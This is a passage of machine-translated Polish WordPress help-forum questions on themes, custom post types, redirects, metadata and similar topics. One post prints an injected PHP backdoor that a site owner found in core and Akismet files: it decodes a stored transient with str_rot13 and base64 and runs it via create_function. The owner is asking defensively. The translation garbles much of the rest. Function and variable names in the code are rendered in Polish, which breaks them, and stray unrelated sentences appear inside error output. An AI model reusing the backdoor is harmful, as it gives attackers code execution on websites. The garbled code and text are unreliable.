pojawia się w samouczku, poza metodą walidacji, nie rozumiem, dlaczego `embedded_url` nie jest zdefiniowany w taki sam sposób jak `łańcuch_tekstowy`. Co robię niepoprawnie?


title: Zmieniono pliki podstawowe – witryna została zhakowana?

text: Wczoraj wieczorem otrzymałem alert WordFence dotyczący jednej z naszych witryn WordPress, informujący, że niektóre podstawowe pliki WordPressa zostały zmienione: * Zmodyfikowany główny plik WordPress: wp-content/plugins/akismet/admin.php * Zmodyfikowany główny plik WordPress: wp-content/ plugins/akismet/akismet.php * Zmodyfikowano główny plik WordPress: wp-content/plugins/akismet/index.php * Zmodyfikowano główny plik WordPress: wp-content/plugins/akismet/legacy.php * Zmodyfikowano główny plik WordPress: wp-content /plugins/akismet/widget.php * Zmodyfikowano główny plik WordPress: wp-includes/default-filters.php * Zmodyfikowano główny plik WordPress: wp-includes/l10n.php * Zmodyfikowano główny plik WordPress: wp-includes/vars.php I porównał każdy z nich z plikami ze świeżego pobrania WordPressa i do wszystkich powyższych plików dodano następujący tekst: `$z=get_option("_site_transient_browser_3167ad50dece0d31baf9df53cf730799"); $z=base64_decode(str_rot13($z)); if(strpos($z,"42A2E9D4")!==false){ $_z=create_function("",$z); @$_z(); }` Na stronie działa najnowsza wersja WordPress i Akismet, uprawnienia do plików są prawidłowe, a strona wygląda normalnie. Czy ktoś wie skąd pochodzi ten kod? Czy moja witryna została zhakowana?


title: get_template_part w admin

text: Próbuję użyć get_template_part podczas tworzenia strony w sekcji administratora mojej witryny. Jednak wydaje się, że to nie działa. Czy ta funkcja nie działa w sekcji administratora? Jakiej alternatywy mogę użyć?


title: Jak dołączyć niestandardową treść posta z wtyczki?

text: Obecnie pracuję nad wtyczką, która tworzy niestandardowy typ postu. Typ postu ma różne meta pola, które służą do wyświetlania treści. Próbuję określić, jak wyświetlić pola meta wewnątrz istniejącego motywu na stronie. Wiem, JAK wyświetlać meta pola i nie o to chodzi. W tej chwili, gdy przejdziesz do postu utworzonego przez niestandardowy typ postu, wyświetla tylko tytuł, ale nie pola meta. Jak mogę dołączyć moje pola z poziomu wtyczki? To musi działać we wszystkich motywach, więc nie mogę po prostu utworzyć szablonu, a następnie wymusić go na użytkowniku. To jest to, co obecnie mam, ale wyświetla dane wyjściowe przed zawartością, a nie w obszarze zawartości: /* Filtruj pojedynczy_szablon za pomocą naszej niestandardowej funkcji*/ add_filter('single_template', 'om_gallery_template'); function om_gallery_template ($single) { global $wp_query, $post; /* Sprawdza pojedynczy szablon według typu posta */ if ($post->post_type == "searchable-media"){ // if(file_exists(plugin_dir_path(__FILE__). '/single-searchable-media.php')) // zwróć plugin_dir_path(__FILE__) . '/pojedynczy-przeszukiwalny-media.php'; $meta = get_post_custom($post->ID); $media_description = isset( $metas['media_description']) ? $metas['media_description'][0] : ''; $treść = pobierz_treść() . " $opis_mediów. " ; echo apply_filters('the_content',$content); } //zwróć $single; Próbowałem również ustawić linię filtru Apply na `$single` i zwracać, ale wtedy pojawia się błąd: > Ostrzeżenie: include( > > Tanner miał wrzeszczącą małpkę, która krzyczała, gdy ją uderzyłeś. Był > bardzo dobry w naśladowaniu it.. > > ): nie udało się otworzyć strumienia: Brak takiego pliku lub katalogu w > /home/myplugin/public_html/wp-includes/template-loader.php w wierszu 74


title: Utwórz listę użytkowników w panelu administratora

text: Próbuję utworzyć listę użytkowników w widżecie w panelu administratora. Do tej pory mam to wyświetlane, ale chcę, aby lista wyświetlała niestandardowe pole z profilu użytkownika zamiast normalnego display_name lub identyfikatora. Mój kod do tej pory: function wps_userlist_dw() { wp_dropdown_users(array('name' => 'autor', 'exclude' => '1', 'name' => 'autor', 'selected' => $user_id, ' pokaż' => 'ID' )); } function add_wps_userlist_dw() { wp_add_dashboard_widget( 'wps_userlist_dw', __( 'Wybierz użytkownika poniżej' ), 'wps_userlist_dw' ); } add_action('wp_dashboard_setup', 'add_wps_userlist_dw' ); Więc zamiast ID potrzebuję niestandardowego pola (utworzonego przez Cimy Extra User Fields - http://wordpress.org/plugins/cimy-user-extra-fields/). Powiedzmy, że nazwa pola niestandardowego, które chcę pokazać, to „NAZWA FIRMY”. jakieś pomysły? Jeśli wstawię 'COMPANYNAME' w wartości 'show', cała funkcja się nie pojawi. Dziękuję!!


title: Niekończące się przekierowania nagle wyłączają witrynę

text: Dość nagle strona naszej firmy zaczęła zgłaszać błąd przekierowania 301. Wyłączyłem nasze najnowsze dodatki wtyczek (stare dodatki) i szukałem wszelkiego rodzaju zmian w kodzie w motywie, które mogły przyczynić się do problemu. Nic oczywistego. W ramach szybkiej naprawy zainstalowałem pakiet Permalink Fix & Disable Canonical Redirects firmy Marka Jaquitha. To naprawiło problem z przekierowaniami, ale teraz, z powodu wtyczki lub niezależnie od niej, wszystkie wewnętrzne łącza zawodzą. Sprawdziłem plik .htaccess na poziomie głównym, aby zobaczyć, czy zostały wprowadzone jakieś zmiany. To tylko twój standardowy zestaw reguł przepisywania dla instalacji podfolderów. # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /new/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /new/index.php [L] # KONIEC WordPress Czy jest jakieś inne miejsce, w którym powinienem szukać broni palnej? Mimo to skanować pliki pod kątem problemów z przekierowaniami? Dzięki za pomoc!


title: Użyj Biblioteki multimediów do zarządzania galeriami, takimi jak Nextgen (z folderami, albumami, kolekcjami, tagami, kategoriami, terminami...)

text: Chciałbym używać standardowej biblioteki multimediów WP 3.x, zamiast polegać na wtyczkach innych firm, takich jak NextGen, bez względu na to, jak dobrze są napisane. Po prostu nie lubię powielać funkcjonalności. Media Librery faktycznie dobrze radzi sobie z obrazami, zapewnia miniatury, podpisy... Myślę jednak, że brakuje organizowania zdjęć w kolekcje, foldery, kategorie, terminy. Czy istnieje sposób na ulepszenie/rozszerzenie wordpress w celu dodania niektórych obrazów z galerii multimediów do kolekcji, kategoryzacji ich i przypisania niestandardowych terminów do każdego obrazu? W ten sposób z poziomu frontendu można by wygenerować stronę z galeriami o podobnej tematyce lub wyświetlającymi obrazy należące do tej samej kategorii/terminu... Jakieś pomysły? Za każdym razem, gdy szukam w Google czegoś związanego z zarządzaniem galerią / obrazami / mediami dla Wordpress, kończę na stronach sugerujących użycie Nextgen ... ale nie rozumiem, dlaczego używanie tego powinno być prawie obowiązkowe, aby osiągnąć te cele.


title: Jak uzyskać wszystkie pola niestandardowe z prefiksem w kluczu?

text: Mam blisko 100 niestandardowych pól na każdy post z prefiksem „wps_” (examle, wps_imagine, wps_video, itp.) i blisko 20 niestandardowych pól bez prefiksu. Problem, że nie znam nazw pól niestandardowych z prefiksem, bo ustawiane przez użytkownika w panelu administracyjnym i mogą być różne, użytkownik może niektóre z nich usunąć, utworzyć, zmienić nazwę, ale zawsze mają prefiks "wps_". Tak więc potrzebuję funkcji, aby uzyskać wszystkie niestandardowe pola dla jednego postu, ale tylko z prefiksem klucza „wps_” Jak uzyskać wszystkie te niestandardowe pola z prefiksem „wps_” i pokazać je w poście?


title: Kierowanie do functions.php we właściwy sposób

text: W tej chwili waliduję formularz na jednej stronie, a następnie wysyłam wyniki do functions.php, aby wysłać formularz pocztą elektroniczną. W tej chwili wykonuję następujące `<?php $nasz_url = get_template_directory_uri();?>` ... a następnie wywołuję go później w ajax za pomocą `$.post('<?php echo $nasz_url. '/functions .php'; ?>', $("#myform").serialize(), function(data) {`, która działa. Rodzaj. Kiedy przesyłam formularz otrzymuję błąd Błąd krytyczny: Wywołanie niezdefiniowanej funkcji add_action () w functions.php Jaki jest poprawny kod, którego powinienem użyć do wywołania functions.php?


title: POBIERZ problem w WordPressie

text: Mam dziwny problem. Każdy formularz używający GET przekierowuje z powrotem do strony nie wysyłającej zmiennych. POST działa. Pomyślałem, że może to być problem z plikiem .htaccess, ale usunąłem go i kazałem WordPress go odtworzyć. Bez powodzenia. Wyłączyłem wszystkie wtyczki. Bez powodzenia.


title: Masz problem z miniaturą_postu, aby wyświetlić miniaturę o niestandardowym rozmiarze

text: Mam kod, który wygląda tak: $post_thumbnail = the_post_thumbnail(array ($w, $h)); Chcę wiedzieć, co robię źle. Kiedy przekazuję wartości szerokości i wysokości, Wordpress zwraca obraz z poprawną wysokością, ale z nieprawidłową szerokością. Czy mogę uzyskać dokładnie określony obraz?


title: Najlepszy koszyk na WordPress

text: Jaki jest obecnie najbardziej kompletny koszyk WordPress? GetShopped / Cart66 / Tribulant Koszyk ? Albo coś innego?


title: Jak usunąć nieużywane przesłane awatary w buddypress?

text: Widzę w moim folderze wp-content/uploads/avatars, że jest mnóstwo awatarów z czasu, gdy stworzyłem użytkowników testowych, ale zmieniłem awatary. Tak więc zakładam, że nawet jeśli użytkownik zmieni swój awatar, stary plik pozostanie? To wygląda na nagromadzenie niepotrzebnych plików img. Czy istnieje sposób na odrzucenie nieużywanych awatarów i zachowanie tylko pełnego obrazu i szerokości kciuka użytkowników? Inne niż ręczne ich usuwanie. Bardzo kłopotliwa byłaby próba odszyfrowania, które jest używane w środowisku na żywo, które wygooglowałem podczas pracy crona, ale nie jestem zbyt zaznajomiony z tym, jak to działa. Jakieś pomysły?


title: Pobierz tylko linki do poprzedniej / następnej strony (nie do tytułu, <a> itp.)

text: Obecnie używam następującej metody, aby uzyskać link do poprzedniej / następnej strony bloga: <?php previous_post_link( '%link', '%title' ); ?> Jednak obejmuje to element zewnętrzny, nazwę itp. Chcę tylko link, np. `http://domain.com/blog/page/2` Czy jest jakaś funkcja, której nie widzę, która spełnia moje wymagania? **Wyjaśnienie** * To dotyczy następnej strony bloga (nie posta na blogu) * Chcę tylko link, a nie element kotwicy Wielkie dzięki


title: Problem z zapisywaniem niestandardowego typu posta po usunięciu edytora

text: Ten wbija mi się w głowę! Używam tego kodu jako podstawy jednego z moich niestandardowych typów postów. https://github.com/tammyhart/Reusable-Custom-WordPress-Meta-Boxes/blob/master/functions/real-estate.php W moim przypadku nie potrzebuję edytora - chcę tylko, aby użytkownik uzupełnił zawartość w polu meta. Kiedy dostosowuję tę linię: 'supports' => array( 'title', 'editor', 'thumbnail' ), na to zamiast 'supports' => array( 'title', 'thumbnail' ), wszystko działa - poza tym za to, że jeśli zostawię stronę otwartą i nieedytowaną przez krótki czas, otrzymuję alert z informacją, że niezapisane zmiany nie zostaną zapisane. W poście nie są wprowadzane żadne zmiany! Po prostu dodanie z powrotem w obsłudze „edytora” rozwiązuje problem, ale nie chcę edytora. Próbowałem też dodać remove_post_type_support( 'mycustompost_type', 'editor' ); Tuż po wywołaniu register_post_type, ale ten sam problem nadal występuje. Przeczytałem wiele wątków na temat AUTOSAVE itp., które są obecne w ogólnym pliku funkcji dołączonym do tego kodu https://github.com/tammyhart/Reusable-Custom-WordPress-Meta-Boxes/blob/master/functions/ meta_box.php Czy ktoś ma jakieś doświadczenia z tym problemem i jak go rozwiązać?


title: Dodaj niestandardowe pola taksonomii podczas tworzenia nowej taksonomii

text:
Udało mi się wykorzystać ten super samouczek @Bainternet, aby dodać niestandardowe pola do taksonomii. Poprawiłem znaczniki i dodałem oddzielne wywołanie zwrotne, aby dodać pola do strony administratora „Dodaj nową kategorię”. Mój kod znajduje się na końcu tego pytania. Wpadłem jednak na gotcha; dane wejściowe pola niestandardowego są wyświetlane na stronie dodawania nowej kategorii, ale pole nie jest zapisywane. Zauważyłem, że strona dodawania nowej taksonomii używa ajax i to może być częścią problemu. Próbowałem wyłączyć JS i nadal napotykam ten sam problem. Kopałem wokół rdzenia w poszukiwaniu haka, ale nie mogę go znaleźć. Istnieje wiele samouczków w sieci, ale wszystkie wydają się polegać na ekranie edycji taksonomii, aby wykonywać swoje licytacje. Jakieś pomysły, jak sprawić, by to działało? /** * Dodaj dodatkowe pola do edycji niestandardowej taksonomii i dodaj funkcje zwrotne formularza */ // Edytuj funkcję strony taksonomii extra_edit_tax_fields($tag) { // Sprawdź istniejącą meta taksonomii dla identyfikatora terminu. $t_id = $tag->term_id; $term_meta = get_option( "taksonomia_$t_id" ); ?>
 <ty zakres="wiersz" valign="góra"><?php _e( 'Adres URL obrazu nawigacyjnego kategorii' ); ?>	  <input type="tekst" name="term_meta[img]" id="term_meta[img]" value="<?php echo esc_attr( $term_meta['img '] ) ?esc_attr( $term_meta['img'] ): ''; ?>">
<?php _e( 'Wprowadź pełny adres URL obrazu nawigacyjnego używanego w tej kategorii.' ); ?>

 <?php } add_action( 'category_edit_form_fields', 'extra_edit_tax_fields', 10, 2 ); // Dodaj funkcję strony taksonomii extra_add_tax_fields( $tag ) { // Sprawdź istniejącą meta taksonomii dla identyfikatora terminu. $t_id = $tag->term_id; $term_meta = get_option( "taksonomia_$t_id" ); ?>
 <?php _e( 'Adres URL obrazu nawigacyjnego kategorii' ); ?> <input type="text" name="term_meta[img]" id="term_meta[img]" value="<?php echo esc_attr( $term_meta['img'] ) ? esc_attr( $ term_meta['img'] ) : ''; ?>">
<?php _e( 'Wprowadź pełny adres URL do obrazu nawigacyjnego używanego w tej kategorii.' ); ?>

 <?php } add_action( 'category_add_form_fields', 'extra_add_tax_fields', 10, 2 ); // Zapisz funkcję zwrotną dodatkowych pól taksonomii. function save_extra_taxonomy_fields( $term_id ) { if ( isset( $_POST['term_meta'] ) ) { $t_id = $term_id; $term_meta = get_option( "taksonomia_$t_id" ); $cat_keys = array_keys( $_POST['term_meta'] ); foreach ( $cat_keys as $key ) { if ( isset ( $_POST['term_meta'][$key] ) ) { $term_meta[$key] = $_POST['term_meta'][$key]; } } // Zapisz tablicę opcji. update_option( "taksonomia_$t_id", $term_meta ); } } add_action( 'edited_category', 'save_extra_taxonomy_fields', 10, 2 ); //add_action( '...Nie można znaleźć zaczepu umożliwiającego zapisywanie pól niestandardowych podczas dodawania nowego terminu


title: Wyświetlaj różne obrazy w zależności od bieżącego dnia

text: Muszę stworzyć układ siatki z obrazami, które zmieniają się codziennie. Mogłem więc zbudować pulę obrazów z góry na cały miesiąc, a strona automatycznie wyświetla odpowiedni obraz każdego dnia. Obraz może być nazwany po dacie lub może być połączony z tą informacją w inny sposób. Jak to osiągnąć w wordpressie? Będę wdzięczny za twój wkład.


title: Przenoszenie Wordpress i problemów z nazwami folderów „wp-content”

text: Kiedyś używam Better WP Security do zmiany nazwy folderu "/wp-content" na "/media", a teraz przenoszę całą moją witrynę z localhost na serwer WWW. Użyłem wtyczki WordPress Duplicator. Działało dobrze. Mogę wejść do panelu administracyjnego i baza danych jest w porządku. Jednak "/media" nie jest rozpoznawany (brak wtyczek, motywów, języków itp.), więc zdałem sobie sprawę, że muszę zmienić w moim nowym `wp-config.php` część, w której `WP_CONTENT_URL` i `WP_CONTENT_DIR` jest ustawiony, ale nadal nie jest rozpoznawany! przed: define( 'WP_CONTENT_DIR', 'D:\wamp\www\fdp/media' ); zdefiniuj( 'WP_CONTENT_URL', 'http://localhost/fdp/media' ); teraz: define( 'WP_CONTENT_DIR', '/home/b7000173/public_html/fdp/media' ); zdefiniuj( 'WP_CONTENT_URL', 'http://b7000173.ferozo.com/fdp/media' ); Mój folder główny to /public_html (jest to hosting współdzielony). Wordpress jest zainstalowany w folderze /fdp.


title: Zmień szablon strony programowo w foreach

text: próbowałem dołączyć wiele stron, eash do szablonu strony za pomocą pętli foreach ... Ręcznie oznacza to, że pisanie kodu każdej strony działa, ale wewnątrz pętli foreach nie zadziała. Mam kilka takich pętli foreach, więc wolałbym nie robić tego ręcznie, a także chciałbym poznać / zrozumieć problem ... oto mój kod * zauważ, że samo dodanie niestandardowego pola z wartością działa ... (dziwne) * Co ja robię źle? . $numer_początkowy = 2; $iim_pages = array('narzędzia', 'klienci', 'użytkownicy', 'zasoby', 'dane', 'dane2', 'ustawienia'); foreach($iim_pages as $page) { $page_title = ucwords(str_replace('-', ' ', $page)); $page_filename = 'strona-'.$strona.'.php'; //nie zmieniaj poniższego kodu, chyba że wiesz, co robisz $page_check = get_page_by_title($page_title); $new_page = array( 'post_type' => 'page', 'menu_order' => $start_number, 'post_title' => $page_title, 'post_content' => '', 'post_status' => 'publish', 'post_author' => 1, ); if(!isset($page_check->ID)){ $new_page_id = wp_insert_post($nowa_strona); // DZIAŁA Z ADD_POST_META lub UPDATE_POST_META add_post_meta($new_page_id, '_wp_page_template', $page_filename); // TO DZIAŁA! add_post_meta($new_page_id, 'meta testu', $nazwa_pliku strony); } $numer_początkowy++; }


title: Zmodyfikuj znaczniki otoki wpisu/wpisu w motywie potomnym Genesis

text:
Myślę, że to powinna być łatwa do znalezienia odpowiedź, ale jak dotąd nic nie znalazłem. Tak więc pętla genesis automatycznie zawija posty w div w następujący sposób:
...
 Cóż, muszę zmienić ten znacznik, aby dodać obraz tła do każdego postu. Próbuję wziąć wyróżniony obraz i zastosować go do tła div, więc potrzebuję znacznika moich postów
...
 Potrafię zrobić logikę dobrze, ale nie wiem, jaki filtr zmodyfikować opakowanie postu. i wydaje mi się, że nie mogę go znaleźć.


title: Jak podłączyć nowe argumenty do niestandardowego widżetu menu?

text: Próbuję dodać kod przed elementami listy w widżecie menu niestandardowego paska bocznego. Może dodam obrazek, może dodam jakiś tekst. Nie wiem jeszcze. Ale trudno mi to rozgryźć... Na ekranie nav-menus.php nazwa menu to "o nas", a id to: menu=210. function custom_menu_widget_aboutus( $args ) { //if( 'aboutus' == $args['menu'] ) { if( 210 == $args['menu_id'] ) { $args['before'] = 'ZROBIĆ_COŚ_PRZED_LISTĄ_ELEMENTU' ; } return $args; } // wp_nav_menu_{MENUSLUG}_items add_filter( 'wp_nav_menu_args', 'custom_menu_widget_aboutus' ); Wiem, że hak działa, ponieważ jeśli usunę instrukcję IF, otrzymuję argumenty przed działające w menu „o nas” oraz w moim menu głównym i we wszystkich innych aktywnych menu (stopka itp.). Ale z jakiegoś powodu nie mogę celować w menu paska bocznego „o nas” lub id: „210” konkretnie samo. Dołączyłem skomentowany kod, aby pokazać to, czego już próbowałem.


title: Mniejsza miniatura w the_content

text: Moja witryna jest w zasadzie katalogiem produktów w stylu Pinterest z co najmniej jednym obrazem na post. Wgrywam duże obrazy, których miniatury są automatycznie generowane przez wordpress, ALE strona ładuje się bardzo wolno, ponieważ tag `the_content` domyślnie używa największej miniatury, którą wybieram z zakładki "media" podczas tworzenia posta. Czy istnieje sposób na użycie mniejszej miniatury, ale kliknięcie linku do większej miniatury? edytowane, aby dodać: używam motywu `Pinboard`. Dołączyłem w `functions.php`: add_theme_support('post-thumbnails'); set_post_thumbnail_size (280, 800); i to w `loop.php`: if ( has_post_thumbnail() ) { the_post_thumbnail(); } else { echo("-"); } ale pokazuje inną część na stronie, więc zakładam, że nie znajduje używanego obrazu? Dziękuję!


title: nie można przesłać obrazu lokalnie

text: Postępowałem zgodnie z tym samouczkiem na temat konfigurowania lokalnej konfiguracji tworzenia stron internetowych bez mapowania. Teraz mój problem polega na tym, że kiedy idę przesłać obraz w WordPressie, pojawia się następujący błąd: > „Zrzut ekranu 2013-01-05 at 10.51.42 PM.png” nie został przesłany z powodu błędu >: Nie można utworzyć katalogu wp-content/uploads/2013/01. Czy jego katalog nadrzędny > może być zapisywany przez serwer? Wygląda na to, że może to być jakiś błąd uprawnień, ale nie jestem pewien, co dokładnie zmienić.


title: Jak uruchomić WPtouch?

text: Kupiłem WPtouch Pro kilka dni temu i zakończyłem projektowanie i tworzenie na lokalnym hoście. Teraz chcę przesłać go na mój hosting na żywo online, aby uzyskać mobilną wersję mojej witryny w subdomenie. Chcę mieć mobilną wersję witryny w subdomenie, takiej jak „m.mywebsite.com”, dla tej samej treści. Czy muszę osobno zainstalować WordPressa na subdomenie, zainstalować tam WPtouch Pro i zbudować osobną wersję mojej witryny? Czy powinienem po prostu skopiować pliki WordPress z mojego katalogu głównego w domenie głównej i wkleić je do podfolderu (subdomeny)? Czy powinienem po prostu zainstalować WPtouch Pro na mojej istniejącej instalacji WordPress?


title: wp_customize set_transient z wyjątkiem podglądu

text: Używam więc `$wp_customize` do zmiany wielu rzeczy w motywie iw rezultacie chcę ustawić stan przejściowy dla wygenerowanego CSS. Próbuję znaleźć przepływ, który nie będzie buforował tymczasowych wyników, co dzieje się, gdy użytkownik bawi się ustawieniami, a następnie klika „Anuluj” – te wyniki są nadal buforowane! W tej chwili mam zwariowaną metodę ustawiania stanu przejściowego, aby żył tylko przez 1 sekundę, ale czuję, że musi być lepszy hak lub coś, czego można się złapać. Oto mój podstawowy przepływ teraz: add_action( 'customize_register', array( $this, 'customize_register') ); add_action( 'wp_head', array( $this, 'display_css_output'), 99 ); add_action( 'customize_preview_init', array( $this, 'css_cache_reset' ) ); `customize_register` dba o wszystkie ustawienia. function display_css_output( $short_life = 0 ) { $html = get_transient( 'my_custom_styles' ); if ( empty( $html ) ) { $html = $this->generate_css_output(); set_transient( 'moje_niestandardowe_style', $html, ( $short_life == 0 ? DAY_IN_SECONDS * 2 : 1 ) ); } echo $html; } Przechwytuje stan przejściowy, jeśli jego zestaw lub w inny sposób przechodzi przez długi proces generowania stylów. Oto moja próba zapobieżenia utrwalaniu się stanu przejściowego, `$short_life`, który jest włączany podczas kolejnego wywołania tej funkcji później. function css_cache_reset() { usuń_przejściowy( 'moje_niestandardowe_style' ); $this->display_css_output( $short_life = 1 ); } Występuje zdarzenie usunięcia i wezwanie do wykonania transjentu trwa tylko 1 sekundę. Z pewnością jest lepszy sposób?


title: Jak uzyskać functions.php do rozmowy z options.php

text: Używam Options Framework do budowania listy opcji motywu (przy użyciu kodu z motywu, a nie wtyczki). Mam selektor kolorów jako opcję i mogę ustawić i nazwać ten kolor w porządku. Chciałbym przekonwertować wartość RGB na HSV i znalazłem tutaj kod, który to zrobi. Wprowadziłem ten kod do pliku functions.php, w funkcji o nazwie convert_RGA_HSV (na pastebin). Przyjmuje kolor RGB i zwraca tablicę ($H, $S, $V). Również w functions.php mam: function set_HSV () { $varcolour = of_get_option('custom_colour'); $varhsv = convert_RGA_HSV($varcolor); add_option( 'hsv', $varhsv, '', 'tak' ); } add_action( 'after_setup_theme', 'set_HSV' ); of_get_option to funkcja wbudowana w Options Framework, która zwraca wartość opcji. Nie wiem, czy ta funkcja set_HSV jest uruchomiona, czy też nie działa poprawnie, **ponieważ żadna opcja o nazwie hsv nie jest wstawiana do opcji motywu**.


title: Czego powinienem się nauczyć, aby rozwijać zarządzanie wydarzeniami w wordpressie?

text: Otrzymałem zadanie zbudowania strony zarządzania wydarzeniami i rejestracji w WP, takiej jak ta strona... http://dunamis.co.id/programs ![strona z listą wydarzeń z filtrowaniem i paginacją](http://i.stack.imgur .com/hWJYG.png) Jak widać, ta funkcja powinna umożliwiać filtrowanie zdarzeń według kategorii, miesiąca i roku. A kiedy odwiedzam tę stronę, lista wydarzeń automatycznie zmienia się na najbliższe wydarzenie w tym miesiącu. Kiedy klikam "zarejestruj się teraz", automatycznie przekierowuje mnie na stronę rejestracji tego wydarzenia. Ta strona posiada również walidację dla pola. ![tutaj podaj opis obrazka](http://i.stack.imgur.com/hdtBj.png) Chcę również dodać/edytować/usunąć wydarzenie i śledzić rejestrującego na stronie administracyjnej. Czego powinienem się nauczyć, aby rozwijać tę funkcję? Dziękuję.. :)


title: Jak używać archiwum niestandardowych postów jako strony głównej?

text: Chciałbym użyć niestandardowego archiwum postów jako strony głównej witryny, tak aby http://the_site.com/ było niestandardowym archiwum postów wyświetlanym zgodnie z moim plikiem `archive-{post-type}.php`. Idealnie chciałbym zmienić zapytanie za pomocą `is_front_page()` w moim pliku `functions.php`. Wypróbowałem następujące, ze stroną o nazwie "Home" jako moją główną stroną: add_filter('pre_get_posts', 'my_get_posts'); funkcja my_get_posts($query){ globalna $wp_the_query; if(is_front_page()&&$wp_the_query===$query){ $query->set('post_type','album'); $query->set('posts_per_page',-1); } return $zapytanie; }, ale strona główna zwraca zawartość „Strona główna” i wydaje się, że ignoruje zapytanie niestandardowe. Co ja robię źle? Czy jest ogólnie lepszy sposób na to?


title: Jak przepisać dane wyjściowe z menu nawigacyjnego wordpress?

text:
Od jakiegoś czasu staram się to rozgryźć. Muszę nadpisać domyślne wyjście systemu nawigacji wordpress. W tej chwili wygląda to tak:

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

 Pozycja menu nadrzędnego

Pozycja menu nadrzędnego

 Chcę zrobić to:

Główne Link do poziomu

Link do poziomu głównego

Link na poziomie głównym

Łącze poziomu głównego

Tutaj jest tytuł

Link do poziomu podrzędnego

Link do poziomu podrzędnego

Link do poziomu podrzędnego

Link do poziomu podrzędnego

Sub link do poziomu

Link do poziomu podrzędnego

Link do podpoziomu

Link do podpoziomu

 Link podrzędny


title: Przepisać na niestandardowy link bezpośredni typu post nie działa?

text: Mój motyw ma niestandardowy typ posta o nazwie „portfolio”. Chcę, aby adres URL wyświetlał zamiast tego „projekty”. Zmieniłem przepisanie w funkcji register_post_type na 'projekty', ale nie zmienia to permalinków... 'rewrite' => 'projekty' Jak mogę to naprawić?


title: Jak zastosować klasę 'current_page_item' do strony archiwum w `wp_list_pages()`?

text: W mojej witrynie działa więc następujące niestandardowe `wp-query`: function custom_front_page($wp_query){ if($wp_query->get('page_id')==get_option('page_on_front')){ $wp_query->set („post_type”, „album”); $wp_query->set('page_id',''); // puste // popraw funkcje warunkowe $wp_query->is_page = false; $wp_query->is_front_page = prawda; $wp_query->is_archive = prawda; $wp_query->is_post_type_archive = prawda; } } add_action('pre_get_posts','custom_front_page'); jednak zmiana zapytania w ten sposób sprawia, że link do strony w mojej nawigacji `wp_list_pages()` nie otrzymuje klasy `current_page_item` (nie jest już w ogóle uważany za stronę). Jak mogę to obejść? PS Wiem, że mogę utworzyć oddzielny link i zastosować klasę warunkowo, ale czy istnieje sposób na zmianę powyższej funkcji lub wywołanie `wp_list_pages()`?


title: jak uruchomić zapytanie join za pomocą post_meta

text: Mam zapytanie print sql, które działa w filtrze 'posts_where' i jest podobne: SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'shop_order' AND post_date >= '2013-08-26' AND post_date < '2013 -10-28' AND post_date_gmt NIE PODOBNE '0000%' ZAMÓWIENIE PRZEZ wp_posts.post_date DESC teraz tutaj chcę dodać warunek dla wartości post_meta, więc jak to zrobić? Wszystkie dane z danymi post i post_meta_data tutaj: $metadata=get_post_meta($post->ID,'order_data'); echo "<pre>";print_r($metadane);wyjście; Array ( [0] => Array ( [billing_first_name] => tetst [billing_last_name] => test [billing_company] => [billing_address_1] => 1701,5120 25th St N [billing_address_2] => [billing_city] => Irvington [billing_postcode ] => 07111-4501 [kraj_rozliczeń] => AF [państwo_rozliczeń] => NJ [e-mail_rozliczeń] => a@a.com [telefon_rozliczeniowy] => (973) 351-2932 [imię_wysyłki] => tetst [nazwisko_dostawcy] => test [firma_wysyłki] => [adres_wysyłki_1] => 1701,5120 25th St N [adres_wysyłki_2] => [miasto_wysyłki] => Irvington [kod_wysyłki] => 07111-4501 [kraj_wysyłki] => AF [stan_wysyłki] => NJ [metoda_wysyłki] ] => [shipping_service] => [payment_method] => paypal [payment_method_title] => PayPal [order_subtotal] => 10,00 [order_discount_subtotal] => 40 [order_shipping] => 30,00 [order_discount] => 0,00 [order_tax] => [order_tax_no_shipping_tax] > 0 [order_tax_divisor] => 100 [order_shipping_tax] => 0.00 [order_total] => 40,00 [order_tax_total] => 0.00 [assignto] => 7 [delivery_day_time] => 2013-09-12 01:30 ) ) bez podania klucza w get_post_meta wygląda to tak: $metadata=get_post_meta($post->ID); echo "<pre>";print_r($metadane);wyjście; [dane_zamówienia] => Tablica ( [0] => a:38:{s:22:"order_discount_coupons";a:0:{}s:18:"billing_first_name";s:5:"tetst";s:17 :"billing_last_name";s:4:"test";s:15:"billing_company";s:0:"";s:17:"billing_address_1";s:19:"1701,5120 25th St N";s :17:"billing_address_2";s:0:"";s:12:"billing_city";s:9:"Irvington";s:16:"billing_postcode";s:10:"07111-4501";s: 15:"kraj_rozliczeniowy";s:2:"AF";s:13:"stan_rozliczeniowy";s:2:"NJ";s:13:"e-mail_rozliczeniowy";s:7:"a@a.com"; s:13:"billing_phone";s:14:"(973) 351-2932";s:19:"pierwsza_nazwa_wysyłki";s:5:"tetst";s:18:"ostatnia_nazwa_wysyłki";s:4:" test";s:16:"firma_wysyłki";s:0:"";s:18:"adres_wysyłki_1";s:19:"1701,5120 25th St N";s:18:"adres_wysyłki_2";s:0 :"";s:13:"miasto_wysyłki";s:9:"Irvington";s:17:"kod_wysyłki";s:10:"07111-4501";s:16:"kraj_wysyłki";s:2: "AF";s:14:"stan_wysyłki";s:2:"NJ";s:15:"metoda_wysyłki";s:15:"";s:16:"usługa_wysyłki";s:15:""; s:14:"payment_method";s:6:"paypal";s:20:"payment_method_title";s:6:"PayPal";s:14:"order_subto tal";s:5:"10.00";s:23:"order_discount_subtotal";d:40;s:14:"order_shipping";s:5:"30.00";s:14:"order_discount";s:4 :"0.00";s:9:"order_tax";s:74:"zero_rate:kwota^0,stawka^0,złożona^,display^Podatek,^0";s:25:"order_tax_no_shipping_tax";d:0 ;s:17:"order_tax_divisor";i:100;s:18:"order_shipping_tax";s:4:"0.00";s:11:"order_total";s:5:"40.00";s:39:" order_total_prices_per_tax_class_ex_tax";a:1:{s:18:"";d:10;}s:15:"order_tax_total";s:4:"0.00";s:8:"assignto";s:1:"7 ";s:17:"delivery_day_time";s:16:"2013-09-12 01:30";} ) teraz tutaj chcę zastosować warunek gdzie z polem 'delivery_day_time', jak to zrobić? **AKTUALIZACJA** teraz otrzymuję metadane jako: [order_assign_data] => Tablica ( [0] => 